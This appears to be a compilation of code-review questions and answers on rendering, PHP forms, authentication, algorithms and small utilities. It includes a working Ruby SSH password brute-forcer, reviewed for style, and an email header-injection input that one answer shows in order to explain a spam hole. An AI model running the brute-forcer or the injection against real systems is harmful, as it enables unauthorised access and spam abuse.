    line.moveTo(0,0);
    line.lineTo(10*i,1000);
    container.addChild(line);
}
renderer.render(container);
<script src="https://cdnjs.cloudflare.com/ajax/libs/pixi.js/3.0.8/pixi.js"></script>

Pure JavaScript/WebGL/Canvas improvements are useful as well (Pixi is not required).

As a first step instead of 20k graphics objects containing each a single line use a single graphics object and put the 20k lines in it

var container = new PIXI.Container(),
    i,
    renderer = PIXI.autoDetectRenderer(1000, 1000);
renderer.backgroundColor = 0xFFFFFF;
document.body.appendChild(renderer.view);

line = new PIXI.Graphics();
line.lineStyle(1, 0x888888, 1);
for (i = 0; i < 5000; i++) {
    line.moveTo(0,0);
    line.lineTo(10*i,1000);
}
container.addChild(line);

renderer.render(container);
<script src="https://cdnjs.cloudflare.com/ajax/libs/pixi.js/3.0.8/pixi.js"></script>

PIXI will then batch all those lines into a single buffer and draw it using a single draw Elements command.


RequestHandler: Is my code clean? I've built a simple class RequestHandler that does exactly what I want without any extras I won't be utilizing. When needed I will expand. I'm passing this object to my Router class, to route URls to the correct controller. I will also take any suggestions!

How is the readability?

Good idea to make it a singleton? There will always be 1 request to process at a time.

What about dependency injection? I didn't utilize dependency injection with this class. How else would I get the URI without using $_SERVER['REQUEST_URI'] or any other similar $_SERVER variable. So I don't see why I would inject it, while there are no other ways.

class RequestHandler
{
    private $rawUri;
    private $cleanUri;
    private $method;
    private $controller;
    private $action;
    private $params = [];

    public function __construct()
    {
        $this->rawUri   = $_SERVER['REQUEST_URI'];
        $this->cleanUri = preg_replace(['#/+#', '(\.\./)'], '/', trim($this->rawUri, '/'));
        $this->method   = $_SERVER['REQUEST_METHOD'];

        $this->parseUri();
    }

    private function parseUri()
    {
        //parse "/controller/action/param1/param2/..." format
        $parts = explode('/', $this->cleanUri);
        $parts = array_filter($parts);

        sort($parts);

        if ($parts) {
            $this->controller = ucfirst(array_shift($parts)) . 'Controller';
            $this->action     = array_shift($parts);
            $this->params     = ($parts) ? $parts : null;
        }
    }

    public function getRawUri()
    {
        return $this->rawUri;
    }

    public function getCleanUri()
    {
        return $this->cleanUri;
    }

    public function getMethod()
    {
        return $this->method;
    }

    public function getController()
    {
        return $this->controller;
    }

    public function getAction()
    {
        return $this->action;
    }

    public function getParams()
    {
        return $this->params;
    }
}

Just a quick observation I have made here, and this is by no means a full review, but you have some dead code here:

if ($parts) {
    $this->controller = ucfirst(array_shift($parts)) . 'Controller';
    $this->action     = array_shift($parts);
    $this->params     = ($parts) ? $parts : null;
}

It will only enter the if-block if $parts is true, and when assigning to $this->params you check it again, but it can never be null.

Therefore you should just assign $this->params = $parts;

Overall the readability of the code looks fine to me.


Optimising sum of 2 from an array - leetcode challenge I was for the first time doing a challenge on the leetcode, and I have come up with the JS code for finding the indexes of 2 numbers that add up to a target value that looks like this:

let nums = [-3, 0, 3, 2, 4, 0];
let target = 0;

var twoSum = function(nums, target) {
    let checkedNums = [];
    let result = [];
    nums.forEach((num, i) => {
        if (result.length === 0) {
            if (checkedNums.includes(target - num)) {
                result = [nums.indexOf(target - num), i];
            } else {
                    checkedNums.push(num);
            }
        }
    })
    return result;
};

twoSum(mums, target) // outputs [0, 2]

But, when I saw that the runtime of this code it 72ms, and that there are far better runtimes I wonder how can I optimise this code to get a better runtime?
Here is the fiddle.
I have also came up with solution, which I thought would be faster since we stop the for loop immediately when the solution is found, but I didn't see any decrease in the runtime:

var twoSum = function(nums, target) {
    let checkedNums = [];
    for (let i = 0; i < nums.length; i++) {
        if (checkedNums.includes(target - nums[i])) {
          return [nums.indexOf(target - nums[i]), i];
        } else {
          checkedNums.push(nums[i]);
        }
    }
};

Style
Your code is pretty readable already. But you mix var and let. I prefer consistent style.
Also, you use a function expression instead of a function declaration - there are subtle differences, but it's mostly a matter of personal preference. To me, the function declaration seems simpler.
Runtime complexity
Your main issue is performing full array searches via checkedNums.includes (in linear time) within the inner loop. By using an alternative data structure such as a simple object {}, a Set or a Map which complete such lookups much faster (in constant time), your performance will improve drastically for large inputs.
You can also get rid of the final nums.indexOf by mapping numbers to their indices. This doesn't improve theoretical runtime complexity, but still improves performance. The same holds for breaking out of the loop early as soon as a solution is found.
Implementation

// Return indices of first two number summing up to target:
function twoSums(numbers, target) {
  const map = new Map();
  for (let i = 0; i < numbers.length; ++i) {
   if (map.has(target - numbers[i])) {
      return [map.get(target - numbers[i]), i];
    } else {
      map.set(numbers[i], i);
    }
  }
}

// Example:
console.log(twoSums([-3, 0, 3, 2, 4, 0], 0)); // [0, 2]

Benchmark
Measuring average runtime over 1000 runs for input arrays of different length, we get the following results:
length  original [ms]  improved [ms]
   100            2.4            7.2
   500           32.8           37.6
  1000          120.6           71.2
  5000         2703.4          401.2
 10000        11132.5          792.5
 50000       265770.5         3633.5
100000      1052582.0         7776.5

While the original implementation performs better for very small inputs, the improved implementation performs much better for longer arrays. This confirms our above runtime complexity analysis.
Plotting the times against the input length clearly shows the quadratic nature of the original runtime complexity vs. the linear runtime complexity of the improved implementation:


Try to implement comments tree for Django I've tried to create an implementation of a tree for comments. I want use it in Django to store comments. Please tell me how to implement it much simpler, without recursion, to find child nodes.

class commentTree(object):
def __init__(self, id, data, parentId = 0, childrens = None):
    "Represents one leaf Tree"
    self.id = id
    self.parentId = parentId
    self.title = data['title']
    self.body = data['body']
    self.childrens = []
    self.isLeaf = True if len(self.childrens) > 0 else False
    if childrens is not None:
        for children in childrens:
            self.childrens.append(children)

def addComment(self, parentId, data):
    root = 1 if self.isLeaf == False else 0
    comment = commentTree(parentId + root + len(self.childrens), data, self.id)
    if parentId == self.id:
        self.childrens.append(comment)
    else:
        node = self.findById(parentId)
        node.childrens.append(comment)

def getParent(self, node):
    "Gets parent node"
    if self.parent is not None:
        return self.parent

def getSize(self, node):
    "Returns size of childrens length + node"
    return len(node.childrens) + 1

def findById(self, id):
    def searchInChildren(id, childNodes):
        for children in childNodes:
            if children.id == id:
                return children
            else:
                searchInChildren(id, children)
    if id == self.id:
        return self
    else:
       result = searchInChildren(id, self.childrens)
       if result.id == id:
           return result
       else: return None

def getSiblings(self, node):
    "Get nodes that have one parent"
    nodes = []

    def getAllChildrens(self, child):
        for children in node.childrens:
            nodes.append(children)
            if children.isLeaf:
                getAllChildrens(self, children)

    getAllChildrens(self, node)
    return nodes

A few comments regarding style:

As pointed out by @jonrsharpe

Please have a look at PEP8
Use for spaces for each indentation level

Naming

Use capitalized words for class names (commentTree -> CommentTree)
Use underscores for methods (findById -> find_by_id)

Do not use spaces around the equal sign to set default values for arguments (parentId = 0 -> parent_id=0)
Review hardcoded booleans since usually they are not needed:

self.isLeaf = True if len(self.childrens) > 0 else False
self.is_leaf = len(self.children) > 0  # True if ... else False not needed

root = 1 if self.isLeaf == False else 0
root = 1 if not self.is_leaf else 0  # False not needed
root = int(not self.is_leaf)  # boolean to int conversion

Do not use builtin name functions for arguments (id)
Note that children is already plural

Regarding the code:

addComment method

What is the goal of the new commentTree object id calculation? Shouldn't be easier to get a new id from the database itself?
What is the benefit of being able to add a node as a child of a node that is not the node for which the method was called. This makes the API confusing in my opinion.

getParent method

What is the expected returned value when self.parent is None?
If the expected value is None, then the whole method implementation could be return self.parent

getSize method

Why is there a node parameter to this method? Shouldn't return the length of the tree object itself?
This method implementation should be recursive. Note that each child may have children on its own.

findById method

Why don't you like the recursive implementation? Recursion is what makes them implementation easier and I don't think you need to handle more levels than allowed by the interpreter
In the recursion the base case, the one for a leaf node, is missing
I'd try something like this:

def find_by_id(self, comment_id):
    """Find node by id."""
    if self.node_id == node_id:
        return self

    if self.is_leaf:
        return None

    for child in self.chidren:
        node = child.find_by_id(id)
        if node:
            return node

getSiblings method

Why is there a node parameter to this method? Shouldn't return the siblings of the current node?
There is no need to implement any recursion since siblings are the nodes at the same level of the tree.
I'd try something like this:

def get_siblings(self):
    """Get sibling nodes."""

    # Get parent (not implemented, but using find_by_id on the root node should work)
    parent = ...

    return [node for node in parent.children if node.id != self.id]

I hope this helps.


Check whether a string has all unique characters (time efficiency) I don't find this algorithm in Go language here, so I just want to check that it is really most efficient algorithm in Go:

func checkUnique(s *string) bool {

    var a [256]bool
    for _, ascii := range *s {

        if a[ascii] {
            return false
        }

        a[ascii] = true
    }

    return true
}

This is about the most efficient strategy you can get when it comes to uniqueness checking on a string, as far as I know. It can get pretty crazy with memory inefficiency with bigger data types, but it's still O(N) time.

But unless you are specifically dealing with ASCII-only strings, be careful with hardcoding the size of your filter array. Go will try to parse the string into single Unicode code points, also called runes. You can find an example of that here, which explicitly shows how characters can span multiple bytes.

Based on the answer to this SO question, UTF-8 encoding can be anywhere from 1-4 bytes. Using the same strategy, a bool array that handles all 4 possible bytes would be of size 232 = 4,294,967,296

Yikes, over 4GB of almost entirely unused memory. The most memory-efficient way I can think of approaching that would be a 256-way tree, where you track each byte encountered by creating nodes for each byte in the rune, and check for the rune by checking for existence of each node in order.

Is it still linear time? Well, existence is easy because the depth of the 256-way tree is at most 4, given the maximum number of bytes in a UTF-8 character, so we check for at most 4 things, which is constant. Same kind of logic applies to setting node values when we encounter unique runes. Since these are done per rune, it's still O(N), more memory efficient, and handles all UTF-8 characters.

I've actually never worked with Go before, thanks for inspiring me to research a bit :)


Reviews on a contact-us form I tried my hand at a contact-us PHP script. I came up with the following. First the markup, then a little client-side validation and then the email script. I just need to know if this is usable code.
I actually got to the point where I can make some cash developing websites. I just need to know if this is valid
HTML

function validateContactForm() {
  var valid = true;

  $(".info").html("");
  $(".input-field").css('border', '#e0dfdf 1px solid');
  var userName = $("#userName").val();
  var userEmail = $("#userEmail").val();
  var subject = $("#subject").val();
  var content = $("#content").val();

  if (userName == "") {
    $("#userName-info").html("Required.");
    $("#userName").css('border', '#e66262 1px solid');
    valid = false;
  }
  if (userEmail == "") {
    $("#userEmail-info").html("Required.");
    $("#userEmail").css('border', '#e66262 1px solid');
    valid = false;
  }
  if (!userEmail.match(/^([\w-\.]+@([\w-]+\.)+[\w-]{2,4})?$/)) {
    $("#userEmail-info").html("Invalid Email Address.");
    $("#userEmail").css('border', '#e66262 1px solid');
    valid = false;
  }

  if (subject == "") {
    $("#subject-info").html("Required.");
    $("#subject").css('border', '#e66262 1px solid');
    valid = false;
  }
  if (content == "") {
    $("#userMessage-info").html("Required.");
    $("#content").css('border', '#e66262 1px solid');
    valid = false;
  }
  return valid;
}
<form name="frmContact" id="frmContact" method="post" action="" enctype="multipart/form-data" onsubmit="return validateContactForm()">

    Name

    <input type="text" class="input-field" name="userName" id="userName" />

    Email
 <input type="text" class="input-field" name="userEmail" id="userEmail" />

    Subject
 <input type="text" class="input-field" name="subject" id="subject" />

    Message

    <textarea name="content" id="content" class="input-field" cols="60" rows="6"></textarea>

    <input type="submit" name="send" class="btn-submit" value="Send" />

      <?php if (!empty($message)) { ?>
      <p class='<?php echo $type; ?>Message'>
        <?php echo $message; ?>

      <?php } ?>

</form>

PHP
<?php if (!empty($_POST['send'])) {
    $name = $_POST['userName'];
    $email = $_POST['userEmail'];
    $subject = $_POST['subject'];
    $content = $_POST['content'];

    $toEmail = 'neilmeyermusic@gmail.com';
    $mailHeaders = 'From: ' . $name . '<' . $email . ">\r\n";
    if (mail($toEmail, $subject, $content, $mailHeaders)) {
        $message = 'Your contact information is received successfully.';
        $type = 'success';
    }
}
require_once "contact-view.php";
?>

The script is extremely basic but it seems to me that it is also not secure. I have seen similar code that vulnerable to header injection, so it was possible for spammers to add a BCC header, and instead spam other people through your server (and your IP address will get blacklisted as a result).
Even a seasoned class like phpmailer has suffered nasty security bugs. Another article that touches on the issue: Why mail() is dangerous in PHP
Since $mailHeaders is injectable, I can provide an E-mail address like:
someone@attacker.com@\r\nBcc: someone@victim.com
and I should be able to send spam to someone@victim.com, with your unwitting assistance.
Validation of form fields in Javascript is not sufficient, it has to be performed server-side as well. Javascript is useful for instant, client-side validation to avoid back and forth exchanges with the server but cannot be considered a security feature since you don't control the client and can't trust it.
It is only a matter of time until your form is indexed by spambots, that will start pounding your server. The bots don't care about Javascript. Your script will not stop them. So basically everything you wrote in JS has to be implemented server-side in PHP. JS validation is nice to have but optional.
Since it appears that you are using Bootstrap, you could perhaps take advantage of the validation options available. Then you can also get rid of the inline CSS styling eg: $("#userEmail").css('border', '#e66262 1px solid');.
You can also use the required attribute in your mandatory HTML controls. Then the browser will prompt the user if some fields are empty, and will not submit the form. It is a small extra and costs nothing.
To sum up, I suggest that you read up a bit on header injection and don't reinvent the wheel. There is mature, open-source third-party code available for this kind of task. It will be more secure that your homemade attempt.
I seem to remember that there is also the possibility of nullbyte injection but can't remember the details right now.


Impromptu TCP sender/receiver Every once in a while I need to get some random computer thing done; so I write something to do it for me. This is one of those. It needed to be able to send text to, and receive text from, a server - without blocking. I am asking for feedback with the premise of what kind of code this is: A one-use hack.

#include <stdio.h>
#include <assert.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <ctype.h>

#define BUFLEN 1024

volatile static int run = 1;

void sendx(int sd) {
    int sent, i;
    char buffer[BUFLEN], ch;
    do {
        i = 0;
        do {
            ch = getc(stdin);
            buffer[i] = ch;
            i++;
        } while (ch != '\n' && i < BUFLEN);
        sent = write(sd, buffer, i);
    } while (sent == i && run);
}

void recvx(int sd) {
    char nothing[] = { '?' };
    int len, i;
    char buffer[BUFLEN];
    do {
        len = read(sd, buffer, BUFLEN);
        i = 0;
        while (i < len) {
            if (isprint(buffer[i]))
                write(1, buffer + i, 1);
            else write(1, nothing, 1);
            i++;
        }
    } while (len > 0 && run);
    close(sd);
    nothing[0] = '\n';
    write(0, nothing, 1);
    fflush(stdin);
}

int main(int argc, char **argv) {
    int sd, pid;
    struct sockaddr_in addr;

    memset(&addr, 0, sizeof(struct sockaddr));

    assert(argc == 3);
    sd = socket(AF_INET, SOCK_STREAM, 0);
    addr.sin_family = AF_INET;
    assert(inet_pton(AF_INET, argv[1], &addr.sin_addr) > 0);
    addr.sin_port = htons(atoi(argv[2]));
    assert(sd > -1);
    assert(connect(sd, (struct sockaddr *)&addr, sizeof(addr)) > -1);
    pid = fork();
    assert(pid > -1);
    if (pid == 0)   sendx(sd);
    else        recvx(sd);
    run = 0;
    return 0;
}

Some of the logic is nicely encapsulated in functions sendx and recvx, but then main disappoints with its lump of code. It would be better to leave main in charge of parsing and validating the command line arguments, and extract the rest to functions with descriptive names.

In main the assert(argc == 3) should come before the first memset: no need to initialize memory if you might not use it.

In sendx, the variable i is used for two purposes: loop variable for reading input, and input size. If you extract the input reading to a function that returns the number of characters read, then in sendx you can store that in a variable with a descriptive name, and the logic of the main responsibility of this method will become clearer.


Simple SSH bruteforcer in Ruby I'm pretty new to Ruby, and working in the IT security field, I thought to make something useful to my work while I learn the language (even though I'm reinventing the wheel).

The script is working fine and doing what I wanted it to, first checking connectivity thanks to ICMP and then bruteforcing through a wordlist to see if the SSH connection is accepted or not, and move on until it is (or the end of the file).

The usage is as follows:

./ssh_brute.rb IP_ADDRESS USER PATH_TO_WORDLIST

My first concern is that I like learning a language properly and writing in its particular style, not having code that "just works". Also the code seems pretty slow to similar programs I have used before, and I would like to know if it had anything with the way it was written or if Ruby is just slower as C for example.

require 'net/ssh'
require 'net/ping'

#Checking arguments and setting them into variables
if ARGV.length != 3
    puts "Please RTFM !"
    exit
end

target = ARGV[0].to_s
user = ARGV[1].to_s
wordlist_file=ARGV[2].to_s

#Checking network connectivity is good enough (more than 3/5 pings)
icmp = Net::Ping::ICMP.new(target)
network = 0
(1..5).each do
    if icmp.ping
        network += 1
    end
end

if network >= 3
    puts "Network connectivity with the target is OK !"
else
    puts "Network connectivity with the target seems poor, please check it then try again ! "
    exit
end

#Counting lines to give progression + opening wordlist file
File.foreach(wordlist_file) {}
total_lines = $.
wordlist = open(wordlist_file, "r")
linecounter = 0

#Main part, each pass tries to connect to the target using the supplied user + the current line of the list as a password. If it succeeds it exits the program
while pass = wordlist.gets.chomp()
    linecounter += 1
    print "\rTrying password #{pass}, progress : #{linecounter}/#{total_lines} !"
    begin
        result1 = Net::SSH.start(target,
                                user,
                                :password => pass,
                                :auth_methods => ["password"],
                                :number_of_password_prompts => 0
                                )
    rescue Net::SSH::AuthenticationFailed => auth
    else
        puts "\nThe password is #{pass}"
        exit
    end
end

puts "\nThe password wasn't found in the list !"

target = ARGV[0].to_s
user = ARGV[1].to_s
wordlist_file=ARGV[2].to_s

Aren't those Strings already?

network = 0
(1..5).each do
    if icmp.ping
        network += 1
    end
end

would be more idiomatic as:

network = 5.times.count do
  icmp.ping
end

#count will count how many times block returned true, exactly what you want.

Ruby has "perlish" globals like $., but they are currently advised against, and Matz even stated how he regrets ever adding them. count could help you here as well:

total_lines = File.foreach(wordlist_file).count

Notice how without a block #count counts everything. Anyway, all stuff with counting lines and while loop in your code is unnecessarily complicated, if you want to loop through lines in a file, #foreach does just that:

File.foreach(wordlist_file).with_index do |line, idx|
  # process line(from file, you need chomp) and idx here
end

No need for linecounter, and Ruby will close the file at the end of block. In general, we let the Ruby iterate for us. Get a good grasp of iterators and Enumerable module, it makes things much easier.

Minor, less important thingies:

puts "\nThe password is #{pass}"
exit

equals:

abort "\nThe password is #{pass}"

Style issue, common Ruby agreement is too use 2 spaces indentation.

Unless I missed something, there are no obvious and reasonable optimizations, apart from getting rid of:

#Counting lines to give progression + opening wordlist file
File.foreach(wordlist_file) {}
total_lines = $.

I don't know what you expected, but this code just iterates whole file and checks where it needed to stop, so you basically process this file twice. As in my example of processing file, you can just use #foreach to process it, Ruby will know when to stop iterating.

Still, Ruby is much slower than C or Java, it's just the way it is.

Oh, I forgot the obvious last time. If you structured your code into methods, and put them in a module, this script would become much more reusable tool.

module Brute
  def self.force(target, user, wordlist_file)
    if check_connectivity(target)
      wordlist = read_wordlist(wordlist_file)
      wordlist.each do |password|
        # ...
      end
    else
      # ...
    end
  end

  def password_correct?(target, user, pasword)
    # ...
  end

  def check_connectivity(target)
    # ...
  end

  def read_wordlist(wordlist_file)
    # returns array of passwords
  end
end

if __FILE__ == $0
  if ARGV.length != 3
    abort "Please RTFM !"
  end

  Brute.force(ARGV[0], ARGV[1], ARGV[2])
end

You could than require this file and use Brute.force(,,) in any other script, but if __FILE__ == $0 is a common Ruby idiom than checks if file we are in is the file that was run, so you could also just run it from command line like it used to work.


Initializing characters in a visual novel game I am making a visual novel game and I was wondering is there a better way of setting character attributes and initializing than the way that I have done down below. As you can see I did an abstract class so that I can call each character without rewriting a bunch of code. I also have an array that initializes everything. What I was wondering, is there a better way of initializing them instead of using an array, it is just tiring to type in

Init.C[1].getAge();

every time that you want to get or set a variable.

What i want specifically is a way to initialize all these Character Objects without cluttering up my code and if possible automaticly initialize all of them, as you can see i tried to do in my init peice of code.

If anyone has any suggestions on how to initialize all these Character Objects I would be grateful, Also Any other comments or suggestions are welcome.

package visualnovel;

import Characters.*;

public class VisualNovel {

public static void main(String[] args) {
    Init Init = new Init();
    Init.Init();
    Init.C[1].getAge();
}
}

Here is my Init peice of code

package visualnovel;

import Characters.*;

public class Init {
Characters C[] = new Characters[3];

public void Init(){
    Characters();
}

public void Characters() {
    C[0] = new Main();
    C[1] = new Secondary();

    for (int i = 0; i < 2; i++) {
        C[i].Init();
    }
}
}

Here is the Character Abstract Class

package Characters;

public abstract class Characters {

private String FirstName;
private String LastName;
private String EyeColor;
private String SkinColor;
private String Sex;
private String Age;
private String HairColor;
private static int NumofCharacters;

public Characters(){
    FirstName = null;
    LastName = null;
    EyeColor = null;
    SkinColor = null;
    Sex = null;
    Age = null;
    HairColor = null;
}

 // mutators

public void setFirstName(String F){
    FirstName = F;
}
public void setLastName(String L){
    LastName = L;
}
public void setEyeColor(String E){
    EyeColor = E;
}
public void setSkinColor(String S){
    SkinColor = S;
}
public void setSex(String S){
    Sex = S;
}
public void setAge(String A){
    Age = A;
}
public void setHairColor(String H){
    HairColor = H;
}
public void setDetails(String FirstName, String LastName, String Sex,
String EyeColor, String HairColor, String SkinColor, String Age){
        setFirstName(FirstName);
        setLastName(LastName);
        setSex(Sex);
        setEyeColor(EyeColor);
        setSkinColor(SkinColor);
        setAge(Age);
        setHairColor(HairColor);
        NumofCharacters++;
}

  // Accessors
public String getDetails(){
    String D;
        D = LastName + ", " + FirstName;
        D += "\nSex: " + Sex;
        D += "\nAge: " + Age;
        D += "\nEyes: " + EyeColor;
        D += "\nSkin: " + SkinColor;
        D += "\nHair: " + HairColor;
        return D;
}

public String getFirstName(){
    return FirstName;
}
public String getLastName(){
    return LastName;
}
public String getEyeColor(){
    return EyeColor;
}
public String getSkinColor(){
    return SkinColor;
}
public String getSex(){
    return Sex;
}
public String getAge(){
    return Age;
}
public String getHairColor(){
    return HairColor;
}
public int getNumberOfCharacters(){
    return NumofCharacters;
}

public String toString(){
    String S;
    S = LastName + ", " + FirstName;
    S += "\nSex: " + Sex;
    S += "\nAge: " + Age;
    S += "\nEyes: " + EyeColor;
    S += "\nSkin: " + SkinColor;
    S += "\nHair: " + HairColor;
    return S;
}

@Override
public abstract void Init();
}

Charcter Example Code

package Characters;

public class Main extends Characters{

public void Init() {

setDetails("Allyson","Carter","Female","Green","Blonde","White","27");
}

}

Have you considered a data-driven approach? This would involve making a file format and having a file that contains the information for each character. You could then add or remove characters at will by simply updating the data file. You could make a routine which looks for a particular file or takes a path to a file and simply reads the data from it and creates characters as it reads them from the file. The file could be in any format that you find easy to work with - XML, JSON, INI, whatever.


OO Auth lib - On the right track? class User {

    protected $DBH;
    protected $STH;

    public function __construct($DBH) {
        $this->DBH = $DBH;
    }

    public function logged_in() {
        if (isset($_SESSION['userid']) && isset($_SESSION['hash'])) {
            $hash = sha1($_SESSION['userid'] . $_SERVER['HTTP_USER_AGENT']);

            if ($_SESSION['hash'] == $hash)
                return true;
        }
        return false;
    }

    public function login($username, $password) {
        $password = sha1($password);
        $this->STH = $this->DBH->prepare("SELECT id, banned, activated FROM users WHERE username = ? AND password = ?");
        $this->STH->setFetchMode(PDO::FETCH_OBJ);
        $this->STH->execute(array($username, $password));

        if ($this->STH->rowCount() > 0)
            return $this->STH->fetch();
    }

    public function create_account($username, $password, $email) {
        $password = sha1($password);
        $activation_key = md5($username . $email);

        $this->DBH->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);

        try {
            $this->STH = $this->DBH->prepare("INSERT INTO users(username, password, email, activation_key, created) VALUES(:username, :password, :email, :activation_key, :created)");
            $this->STH->bindParam(':username', $username);
            $this->STH->bindParam(':password', $password);
            $this->STH->bindParam(':email', $email);
            $this->STH->bindParam(':activation_key', $activation_key);
            $this->STH->bindParam(':created', time());
            $this->STH->execute();
        } catch (PDOException $e) {
            //$e->getMessage();
            return false;
        }

        return true;
    }

    public function check_username($username) {
        $this->STH = $this->DBH->prepare("SELECT username FROM users WHERE username = ?");
        $this->STH->execute(array($username));

        if ($this->STH->rowCount() > 0)
            return false;

        return true;
    }

    public function check_email($email) {
        $this->STH = $this->DBH->prepare("SELECT email FROM users WHERE email = ?");
        $this->STH->execute(array($email));

        if ($this->STH->rowCount() > 0)
            return false;

        return true;
    }

    public function activate($key) {
        $this->STH = $this->DBH->prepare("SELECT activation_key FROM users WHERE activation_key = ?");
        $this->STH->execute(array($key));

        if ($this->STH->rowCount() > 0) {
            $this->STH = $this->DBH->prepare("UPDATE users SET activated = 1, activation_key = null WHERE activation_key = ?");
            $this->STH->execute(array($key));

            return true;
        }

        return false;
    }
}

Am I doing this right?
What should I change? Add, etc. Should I use more try { } catch blocks/etc. Give me some tips on how to improve the code. (Better performance, etc).

Regarding try/catch: this depends on whether your user class can handle errors or not.

An exception you can't handle is for example if the SQL-statement has a syntax error or the SQL-server being down. You can't do anything about it programatically during runtime except for displaying a nice error message to the user. In that case I wouldn't surround the DB-code with try/catch but implement a global try/catch which does just display a nice error message to the user and log the errors for you, the developer.
But if you have an exception because for example your username-field is UNIQUEand someone tries to insert an username which already exists you could resolve that problem automatically by just adding a number to the username and retry the insert (okay it's a dumb example, but I hope the point comes across). The pseudocode for this dumb example could be like:

$statement = $db->prepare("INSERT INTO user (username, ....) values (?, ...)");
$tryInsert = true;
$tries = 0;
while($tryInsert) {
    $insertName = $username;
    if($tries > 0) {
        $insertName .= $tries;
    }
    try {
        $statement->execute(array($insertName, ...));
        $tryInsert = false; // it worked, stop trying
    } catch(PDOException $e) {
        if($e->code() == "23000") {
            // 23000 means unique constraint violation, probably
            // duplicate username
            ++$tries;
        } else {
            // we can't handle the exception, therefore we just re-throw it
            throw $e;
        }
    }
}

I think in your code are no exceptions which you could handle. If an exception occurs it is most probably due to some issue with the SQL-server or the SQL-statement is wrong. In that case it doesn't make sense to wrap any of your code in try/catch. But you should add some kind of global exception handler which displays a nice error message (like: oops something went wrong, the developers have been informed).
In login change the last two lines to:

if (($row = $this->STH->fetch()) !== false)
    return $row;

The problem with PDOStatement::recordCount() is, that it's not portable for SELECT queries and the above code does the same thing as your code.
Then in create_account, you use PDO::setAttribute to change the PDO error mode of the supplied PDO-instance. Change that so that this is called when the PDO is initialized and not deep down in some mapper-class.
Your activate method could be rewritten to just execute one query:

public function activate($key) {
    $this->STH = $this->DBH->prepare("UPDATE users SET activated = 1, activation_key = null WHERE activation_key = ?");
    $this->STH->execute(array($key));

    // rowCount is set to the number of rows affected by UPDATE
    return $this->STH->rowCount() > 0;
}

Optional: This could be simplified:

if (isset($_SESSION['userid']) && isset($_SESSION['hash'])) {

To that:

if (isset($_SESSION['userid'], $_SESSION['hash'])) {

Optional: Consider using phpass for hashing your passwords. It's definitely more secure that just sha1 with some salt thrown in and the class is simple to use. If you're doing this you would have to rework your login method a bit  (meaning the password verification must be done in PHP when using phpass).
If you like to change your check_*-methods you could do something like that:

protected function check_record($field, $value) {
    $this->STH = $this->DBH->prepare("SELECT COUNT(*) FROM users WHERE {$field} = ?");
    $this->STH->execute(array($value));

    $count = $this->STH->fetchColumn();

    if($count !== false) {
        return (int)$count > 0;
    }

    return null;
}

public function check_username($username) {
    return $this->check_record("username", $username);
}

public function check_email($username) {
    return $this->check_record("email", $username);
}


Testing parity of number of items This is my first C++ program with classes, and I don't want to develop bad skills. It's very simple and consists of 3 files.  This is an exercise from a book, hence the name of the driver file.

Please tell me whether it's proper or not!

parity.cpp:

#include <iostream>
#include "parity.h"

void Parity::put(int number)
{
    numbers.push_back(number);
}

bool Parity::test(void)
{
    if (numbers.size() % 2 == 0)
        return true;
    else return false;
}

parity.h:

#ifndef PARITY_H_
#define PATITY_H_

#include <string>
#include <vector>

class Parity
{
    private:
        std::vector<int> numbers;
    public:
        void put(int number);
        bool test(void);
};

#endif

13_1.cpp

#include <iostream>
#include "parity.h"

int main()
{
    int number;
    bool odd_number;
    Parity parity_test;

    while(true)
    {
        std::cout << "Enter an integer: ";
        std::cin >> number;
        if (number == 0)
        {
            break;
        }
        else
        {
            parity_test.put(number);
            odd_number = parity_test.test();
            std::cout << odd_number;
        }
    }
    return 0;
}

Some general guidelines regarding #includes:

only #include in the header when necessary (this reduces potentially unwanted dependencies)
whenever possible, forward declare in the header instead of using #include
whenever possible, #include in the implementation only (this does not affect dependency)
never #include a source file (having to do so indicates a hierarchy issue)
be sure to never allow files to #include each other (sort of in a "circular" manner)

You have a typo in your header guard:

#ifndef PARITY_H_
#define PATITY_H_ // should be PARITY_H_

The class isn't doing anything with <iostream> and <string>, so just remove them.
test() doesn't need the void parameter; that's only for C.
This:

if (numbers.size() % 2 == 0)
    return true;
else return false;

can be shortened to this:

return (numbers.size() % 2 == 0); // the statement's Boolean value is returned

You can use std::boolalpha to display a bool as "true" for 1 or "false" for 0:

std::cout << std::boolalpha << odd_number;

The while and if-else don't seem too intuitive.  The loop just runs until you break from it, and it's not directly tied to number.  One alternative is to do an initial input before the loop:

// initial input before loop-- number may be 0
std::cout << "Enter an integer: ";
int number; // move the declaration here
std::cin >> number;

// if not 0, proceed until it's 0
while (number != 0)
{
    parity_test.put(number);
    bool odd_number = parity_test.test(); // initialize here instead
    std::cout << "odd number? " << std::boolalpha << odd_number;

    // input again
    std::cout << "Enter an integer: ";
    std::cin >> number;
}


"Unfriendly Number" challenge I tried to solve the Unfriendly Number problem on InterviewStreet:

  There is one friendly number, K, and N unfriendly numbers. We want to find
  how many numbers are there which exactly divide the friendly number,
  but does not divide any of the unfriendly numbers.

  \$1 \le N \le 10^6\$

  \$1 \le K \le 10^13\$

  \$1 \le\$ unfriendly numbers \$\le 10^{18}\$

The algorithm is quite simple:

Find the set S. The set of gcd's of each unfriendly number with the friendly
number.
Find the set of divisors of the friendly number.
Check if a divisor of the friendly number is a divisor of any element in S.

My code, where u is the list of unfriendly numbers, k is the friendly number. nubOrd is the O(n log n) time version of nub.

test u k = length $ filter (not) $ map try divisors
  where try t = or $ map (t `divides` ) (nubOrd $ map (gcd k) u)
        divisors = concat [ [i,div k i] | i<-[1..floor $ sqrt $ fromIntegral k],
                                          i `divides` k]
d `divides` n = n `mod` d == 0

This code exceeds the time limit. The Java version of this algorithm solves the problem fine. Are there any ways to improve this code or is Haskell too slow for solving this problem?

Your divisors generation is lacking. As explained e.g. here, you should generate them from a number's prime factorization. It is much faster that way.

You may try using rem instead of mod.

Also try making (nubOrd $ map (gcd k) u) a separate expression and name it to ensure sharing, giving your function a concrete type signature too.

update so I tried my own advice and it only made the code run slower at the interviewstreet servers. The only reason I'm not removing this, is that the advice itself (and link) about divisor generation is valid in general. But here, it did not help improve the run time of this algorithm. The OP states that same algorithm in Java got through...


SynchronizedArrayList implemented using reader writer synchronization I am trying to understand the workings of reader writer locks. For the sake of learning, I implemented reader writer synchronization by my own. I implemented SynchronizedArrayList with reader writer synchronization.

I set out with following objective:

There can be many readers.
There can only be just one writer.
Fairness among writers. In other words, writers should be served in FIFO manner.

I request reviewers to provide feedback on following:

